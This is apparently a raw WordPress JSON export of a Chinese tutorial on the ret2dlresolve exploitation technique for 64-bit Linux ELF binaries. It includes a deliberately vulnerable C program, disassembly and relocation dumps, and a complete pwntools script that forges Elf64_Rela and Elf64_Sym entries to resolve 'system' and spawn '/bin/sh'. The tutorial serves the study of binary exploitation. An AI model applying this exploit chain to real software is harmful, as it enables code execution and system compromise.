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<\/strong>\u9996\u5148\u8981\u6765\u8ba4\u8bc6\u4e00\u4e2a\u7ed3\u6784\u4f53\uff1aElf64_Rela\u3002<\/p>\n\n\n\n .rela.plt\u91cc\u9762\u88c5\u7740\u7684\u5c31\u662f\u4e00\u4e2a\u4e2a\u8fd9\u6837\u7684Elf64_Rela\u7ed3\u6784\u4f53\u3002<\/p>\n\n\n\n \u00b7 <\/strong>\u7136\u540e\u518d\u6765\u8ba4\u8bc6\u53e6\u4e00\u4e2a\u7ed3\u6784\u4f53\uff1aElf64_Sym.<\/p>\n\n\n\n .dynsym\u91cc\u9762\u88c5\u7740\u7684\u5c31\u662f\u4e00\u4e2a\u4e2a\u8fd9\u6837\u7684Elf64_Sym\u7ed3\u6784\u4f53\u3002<\/p>\n\n\n\n \u6574\u4e2a\u5ef6\u8fdf\u7ed1\u5b9a\u8fc7\u7a0b\u5176\u5b9e\u5c31\u662f\u5728\u73a9\u8fd9\u4e24\u4e2a\u7ed3\u6784\u4f53\uff0cret2dl\u4e5f\u5c31\u662f\u4f2a\u9020\u8fd9\u4e24\u4e2a\u7ed3\u6784\u4f53\u6765\u63a7\u5236\u5ef6\u8fdf\u7ed1\u5b9a\u673a\u5236\u53bb\u89e3\u6790\u6211\u4eec\u60f3\u8981\u7684\u51fd\u6570\u3002<\/p>\n\n\n\n \u00b7 <\/strong>\u6700\u540e\u6765\u8ba4\u8bc6\u4e00\u4e0b.dynstr:<\/p>\n\n\n\n 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\u9996\u5148\u7b80\u5355\u56de\u987e\u4e00\u4e0blibc\u51fd\u6570\u771f\u5b9e\u5730\u5740\u88ab\u5199\u5165got\u8868\u7684\u8fc7\u7a0b\uff1a\u51fd\u6570\u8c03\u7528\u65f6\u9996\u5148\u8c03\u7528plt\u8868\u2026<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[],"class_list":["post-133","post","type-post","status-publish","format-standard","hentry","category-13"],"_links":{"self":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts\/133","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/comments?post=133"}],"version-history":[{"count":2,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts\/133\/revisions"}],"predecessor-version":[{"id":137,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/posts\/133\/revisions\/137"}],"wp:attachment":[{"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/media?parent=133"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/categories?post=133"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.106.187.170\/index.php\/wp-json\/wp\/v2\/tags?post=133"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}0x1 \u6b63\u5e38\u7684\u5ef6\u8fdf\u7ed1\u5b9a\u6d41\u7a0b<\/h2>\n\n\n\n
#include <stdio.h> \n#include <unistd.h> \n#include <stdlib.h> \n \n__attribute__((used, naked)) void pop_rdi_ret() { __asm__(\"pop %rdi; ret;\"); } \n__attribute__((used, naked)) void pop_rsi_ret() { __asm__(\"pop %rsi; ret;\"); } \n__attribute__((used, naked)) void pop_rdx_ret() { __asm__(\"pop %rdx; ret;\"); } \n__attribute__((used, naked)) void ret_gadget() { __asm__(\"ret;\"); } \n \nvoid vuln() { \n char buf[0x40]; \n \n puts(\"[ret2dl64] send your first ROP chain:\"); \n read(0, buf, 0xb0); \n} \n \nint main() { \n setbuf(stdin, NULL); \n setbuf(stdout, NULL); \n setbuf(stderr, NULL); \n \n vuln(); \n return 0; \n}<\/code><\/pre>\n\n\n\nobjdump -d -j .plt .\/pwn<\/code><\/pre>\n\n\n\nDisassembly of section .plt: \n \n0000000000401020 <puts@plt-0x10>: \n 401020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8> \n 401026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10> \n 40102c: 0f 1f 40 00 nopl 0x0(%rax) \n \n0000000000401030 <puts@plt>: \n 401030: ff 25 ca 2f 00 00 jmp *0x2fca(%rip) # 404000 <puts@GLIBC_2.2.5> \n 401036: 68 00 00 00 00 push $0x0 \n 40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20> \n \n0000000000401040 <setbuf@plt>: \n 401040: ff 25 c2 2f 00 00 jmp *0x2fc2(%rip) # 404008 <setbuf@GLIBC_2.2.5> \n 401046: 68 01 00 00 00 push $0x1 \n 40104b: e9 d0 ff ff ff jmp 401020 <_init+0x20> \n \n0000000000401050 <read@plt>: \n 401050: ff 25 ba 2f 00 00 jmp *0x2fba(%rip) # 404010 <read@GLIBC_2.2.5> \n 401056: 68 02 00 00 00 push $0x2 \n 40105b: e9 c0 ff ff ff jmp 401020 <_init+0x20><\/code><\/pre>\n\n\n\nreadelf -r .\/pwn<\/code><\/pre>\n\n\n\n\u91cd\u5b9a\u4f4d\u8282 '.rela.dyn' at offset 0x5e8 contains 7 entries: \n \u504f\u79fb\u91cf \u4fe1\u606f \u7c7b\u578b \u7b26\u53f7\u503c \u7b26\u53f7\u540d\u79f0 + \u52a0\u6570 \n000000403fc8 000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0 \n000000403fd0 000200000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTM[...] + 0 \n000000403fd8 000600000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0 \n000000403fe0 000700000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCl[...] + 0 \n000000404040 000800000005 R_X86_64_COPY 0000000000404040 stdout@GLIBC_2.2.5 + 0 \n000000404050 000900000005 R_X86_64_COPY 0000000000404050 stdin@GLIBC_2.2.5 + 0 \n000000404060 000a00000005 R_X86_64_COPY 0000000000404060 stderr@GLIBC_2.2.5 + 0 \n \n\u91cd\u5b9a\u4f4d\u8282 '.rela.plt' at offset 0x690 contains 3 entries: \n \u504f\u79fb\u91cf \u4fe1\u606f \u7c7b\u578b \u7b26\u53f7\u503c \u7b26\u53f7\u540d\u79f0 + \u52a0\u6570 \n000000404000 000300000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0 \n000000404008 000400000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0 \n000000404010 000500000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0<\/code><\/pre>\n\n\n\n401030: ff 25 ca 2f 00 00 jmp *0x2fca(%rip) # 404000 <puts@GLIBC_2.2.5> <\/code><\/pre>\n\n\n\n<\/figure>\n\n\n\n
0x2 \u5ef6\u8fdf\u7ed1\u5b9a\u6d89\u53ca\u7684\u6838\u5fc3\u7ed3\u6784\u4f53<\/h2>\n\n\n\n
typedef struct {\n Elf64_Addr r_offset;\n \/\/\u91cd\u5b9a\u4f4d\u7ed3\u679c\u5199\u5165\u4f4d\u7f6e\u7684\u504f\u79fb\uff0c\u5373\u8981\u5199\u5165\u54ea\u4e2agot\u8868\u9879\u3002\u57fa\u5740\u4e3apie\u57fa\u5740\n \n Elf64_Xword r_info; \n \/\/\u9ad832\u4f4d\uff1a\u7b26\u53f7\u8868\u4e0b\u6807\uff1b\u4f4e32\u4f4d\uff1a\u91cd\u5b9a\u4f4d\u7c7b\u578b\uff0c\u4e00\u822c\u4e3a7\n \/\/\u7b26\u53f7\u8868\u4e0b\u6807\u6307\u7684\u662f.dynsym\u7684\u4e0b\u6807\uff0c\u540e\u9762\u4f1a\u8bb2\u5230\n \n Elf64_Sxword r_addend; \n \/\/\u5728\u8ba1\u7b97\u6700\u7ec8\u91cd\u5b9a\u4f4d\u7ed3\u679c\u662f\u989d\u5916\u52a0\u4e0a\u7684\u503c\uff0c\u5728\u91cd\u5b9a\u4f4d\u7c7b\u578b7\u4e2d\u901a\u5e38\u4e3a0\n \n} Elf64_Rela;<\/code><\/pre>\n\n\n\ntypedef struct {\n Elf64_Word st_name; \/\/0x4\u5b57\u8282\n \/\/\u7b26\u53f7\u540d\u5728.dynstr\u91cc\u7684\u504f\u79fb,\u57fa\u5740\u4e3a.dynstr\u7684\u5730\u5740\n \/\/.dynstr\u540e\u9762\u4f1a\u8bb2\u5230\n unsigned char st_info; \/\/0x1\u5b57\u8282\n \/\/\u7b26\u53f7\u7ed1\u5b9a\u5c5e\u6027\u548c\u7b26\u53f7\u7c7b\u578b\n unsigned char st_other; \/\/0x1\u5b57\u8282\n \/\/\u53ef\u89c1\u6027\uff0c\u4e00\u822c\u4e3a0\n Elf64_Section st_shndx; \/\/0x2\u5b57\u8282\n \/\/\u7b26\u53f7\u6240\u5728\u8282\uff0c\u5916\u90e8\u5bfc\u5165\u51fd\u6570\u4e00\u822c\u4e3a0\n Elf64_Addr st_value; \/\/0x8\u5b57\u8282\n \/\/\u7b26\u53f7\u503c\uff0c\u5bfc\u5165\u51fd\u6570\u4e00\u822c\u4e3a0\n Elf64_Xword st_size; \/\/0x8\u5b57\u8282\n \/\/\u7b26\u53f7\u5927\u5c0f\uff0c\u5bfc\u5165\u51fd\u6570\u4e00\u822c\u4e3a0\n} Elf64_Sym;<\/code><\/pre>\n\n\n\n.dynstr:\n \"\\x00\"\n \"__libc_start_main\\x00\"\n \"puts\\x00\"\n \"read\\x00\"\n \"setbuf\\x00\"\n \"libc.so.6\\x00\"\n \"GLIBC_2.2.5\\x00\"<\/code><\/pre>\n\n\n\n 0x3 \u5ef6\u8fdf\u7ed1\u5b9a\u6838\u5fc3\u6d41\u7a0b<\/h2>\n\n\n\n
0x4 ret2dl\u6d41\u7a0b<\/h2>\n\n\n\n
bss = 0x404800 \ndynsym = 0x4003f8 \ndynstr = 0x400500 \nrela_plt = 0x400690 \nvuln = 0x4011c9 \nread_plt = 0x401050 \nputs_got = 0x404000 \nret = 0x40101a \npop_rdi_ret = 0x401146 \npop_rsi_ret = 0x40114b \npop_rdx_ret = 0x401150 \nPLT0 = 0x401020 \nbin_sh = bss+(0x18)*3+0x8+0x8<\/code><\/pre>\n\n\n\nfake_Elf64_Rela = p64(puts_got) \n#\u628a\u6700\u7ec8\u89e3\u6790\u51fa\u7684\u5b9e\u9645\u5730\u5740\u5199\u5165puts\u7684got\u8868\u9879\uff0c\u540e\u7eed\u8c03\u7528puts\u65f6\u5c31\u662f\u5728\u8c03\u7528\u5b9e\u9645\u89e3\u6790\u51fa\u7684\u5730\u5740\nfake_Elf64_Rela += p32(7) \n#\u91cd\u5b9a\u4f4d\u7c7b\u578b\uff0c\u4e00\u822c\u4e3a7\nfake_Elf64_Rela += p32((bss+0x18+0x8-dynsym) \/\/ 0x18)\n#\u7b26\u53f7\u8868\u4e0b\u6807\uff0c\u8ba1\u7b97\u65b9\u5f0f\u653e\u5728\u4e0b\u9762\u8bb2\nfake_Elf64_Rela += p64(0)\n#\u5728\u8ba1\u7b97\u6700\u7ec8\u91cd\u5b9a\u4f4d\u7ed3\u679c\u662f\u989d\u5916\u52a0\u4e0a\u7684\u503c\uff0c\u5728\u91cd\u5b9a\u4f4d\u7c7b\u578b7\u4e2d\u901a\u5e38\u4e3a0\n \nfake_Elf64_Sym = p32(bss+0x18+0x8+0x18+0x18-dynstr) \n#\u4f2a\u9020\u7684\u7b26\u53f7\u540d'system'\u76f8\u5bf9\u4e8e.dynstr\u7684\u504f\u79fb\nfake_Elf64_Sym += b'\\x12' \n#\u7b26\u53f7\u7ed1\u5b9a\u5c5e\u6027\u548c\u7b26\u53f7\u7c7b\u578b\nfake_Elf64_Sym += b'\\x00' \n#\u53ef\u89c1\u6027\uff0c\u4e00\u822c\u4e3a0\nfake_Elf64_Sym += p16(0) \n#\u7b26\u53f7\u6240\u5728\u8282\uff0c\u5916\u90e8\u5bfc\u5165\u51fd\u6570\u4e00\u822c\u4e3a0\nfake_Elf64_Sym += p64(0) \n#\u7b26\u53f7\u503c\uff0c\u5bfc\u5165\u51fd\u6570\u4e00\u822c\u4e3a0\nfake_Elf64_Sym += p64(0)\n#\u7b26\u53f7\u5927\u5c0f\uff0c\u5bfc\u5165\u51fd\u6570\u4e00\u822c\u4e3a0<\/code><\/pre>\n\n\n\n \npayload1 = b'A'*0x48 \npayload1 += p64(pop_rsi_ret) \npayload1 += p64(bss) \npayload1 += p64(pop_rdx_ret) \npayload1 += p64(0x100) \npayload1 += p64(read_plt) \n#\u628a\u4f2a\u9020\u7684\u7ed3\u6784\u4f53\u5199\u5230bss\npayload1 += p64(pop_rdi_ret) \npayload1 += p64(bin_sh) \n#\u56e0\u4e3a\u51fd\u6570\u89e3\u6790\u5b8c\u6210\u540e\u4f1a\u7acb\u523b\u8c03\u7528\u51fd\u6570\uff0c\u6240\u4ee5\u9700\u8981\u63d0\u524d\u8bbe\u7f6e\u597drdi\npayload1 += p64(ret) \n#\u6808\u5bf9\u9f50\u7528\npayload1 += p64(PLT0) \n#\u6b64\u65f6\u4f2a\u9020\u7ed3\u6784\u4f53\u548c\u4e0b\u6807\u90fd\u5df2\u7ecf\u51c6\u5907\u597d\uff0c\u8fdb\u5165\u5ef6\u8fdf\u7ed1\u5b9a\uff0c\u7ed1\u5b9a\u5b8c\u6210\u540e\u4f1a\u7acb\u523b\u8c03\u7528puts\uff0c\u5373system\npayload1 += p64((bss - rela_plt) \/\/ 0x18)\n#\u6307\u5411\u6211\u4eec\u4f2a\u9020\u7684Elf64_Rela,\u8ba1\u7b97\u65b9\u5f0f\u540c\u4e0a\npayload1 = payload1.ljust(0xb0, b'\\0') <\/code><\/pre>\n\n\n\npayload2 = fake_Elf64_Rela \npayload2 += b'\\x00'*0x8 \n#\u672a\u5fc5\u662f\u5fc5\u987b\u7684\u9694\u79bb\uff0c\u53ea\u662f\u4e3a\u4e86\u4fdd\u8bc1\u7ed3\u6784\u4f53\u5e72\u51c0\uff0c\u4ee5\u53ca\u4fdd\u8bc10x18\u5b57\u8282\u5bf9\u9f50\npayload2 += fake_Elf64_Sym \npayload2 += b'\\x00'*0x18 \n#\u540c\u4e0a\npayload2 += b'system\\x00\\x00' \npayload2 += b'\/bin\/sh\\0' \npayload2 = payload2.ljust(0x100, b'\\0')<\/code><\/pre>\n\n\n\nfrom pwn import * \ncontext(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--noclose', '-e']) \n \nio = process('.\/pwn') \n# io = remote() \n \nbss = 0x404800 \ndynsym = 0x4003f8 \ndynstr = 0x400500 \nrela_plt = 0x400690 \nvuln = 0x4011c9 \nread_plt = 0x401050 \nputs_got = 0x404000 \nret = 0x40101a \npop_rdi_ret = 0x401146 \npop_rsi_ret = 0x40114b \npop_rdx_ret = 0x401150 \nPLT0 = 0x401020 \nbin_sh = bss+(0x18)*3+0x8+0x8 \n \nio.recvuntil('chain:') \n \nfake_Elf64_Rela = p64(puts_got) \nfake_Elf64_Rela += p32(7) \nfake_Elf64_Rela += p32((bss+0x18+0x8-dynsym) \/\/ 0x18) \nfake_Elf64_Rela += p64(0) \n \nfake_Elf64_Sym = p32(bss+0x18+0x8+0x18+0x18-dynstr) \nfake_Elf64_Sym += b'\\x12' \nfake_Elf64_Sym += b'\\x00' \nfake_Elf64_Sym += p16(0) \nfake_Elf64_Sym += p64(0) \nfake_Elf64_Sym += p64(0) \n \npayload1 = b'A'*0x48 \npayload1 += p64(pop_rsi_ret) \npayload1 += p64(bss) \npayload1 += p64(pop_rdx_ret) \npayload1 += p64(0x100) \npayload1 += p64(read_plt) \npayload1 += p64(pop_rdi_ret) \npayload1 += p64(bin_sh) \npayload1 += p64(ret) \npayload1 += p64(PLT0) \npayload1 += p64((bss - rela_plt) \/\/ 0x18) \npayload1 = payload1.ljust(0xb0, b'\\0') \n \nio.send(payload1) \n \npayload2 = fake_Elf64_Rela \npayload2 += b'\\x00'*0x8 \npayload2 += fake_Elf64_Sym \npayload2 += b'\\x00'*0x18 \npayload2 += b'system\\x00\\x00' \npayload2 += b'\/bin\/sh\\0' \npayload2 = payload2.ljust(0x100, b'\\0') \n \n# gdb.attach(io) \nio.send(payload2) \n \nio.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"